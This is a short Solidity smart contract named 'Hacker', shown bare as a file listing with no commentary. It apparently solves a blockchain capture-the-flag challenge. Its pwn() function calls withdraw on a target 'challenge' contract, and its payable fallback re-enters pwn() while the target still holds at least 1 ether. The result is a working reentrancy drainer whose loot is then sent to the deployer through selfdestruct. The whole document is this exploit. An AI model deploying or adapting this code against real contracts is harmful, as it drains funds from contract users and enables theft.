33 lines
746 B
Solidity
33 lines
746 B
Solidity
pragma solidity ^0.8.0;
|
|
|
|
contract Hacker {
|
|
address public owner;
|
|
address public challengeAddress;
|
|
|
|
modifier onlyOwner() {
|
|
require(msg.sender == owner, "Caller is not owner");
|
|
_;
|
|
}
|
|
|
|
constructor (address _challengeAddress) {
|
|
owner = msg.sender;
|
|
challengeAddress = _challengeAddress;
|
|
}
|
|
|
|
function pwn() public {
|
|
(bool success, ) = challengeAddress.call(
|
|
abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
|
|
);
|
|
|
|
if (!success) revert();
|
|
}
|
|
|
|
function withdraw() external onlyOwner {
|
|
selfdestruct(payable(owner));
|
|
}
|
|
|
|
fallback() external payable {
|
|
if (challengeAddress.balance >= 1 ether) pwn();
|
|
}
|
|
}
|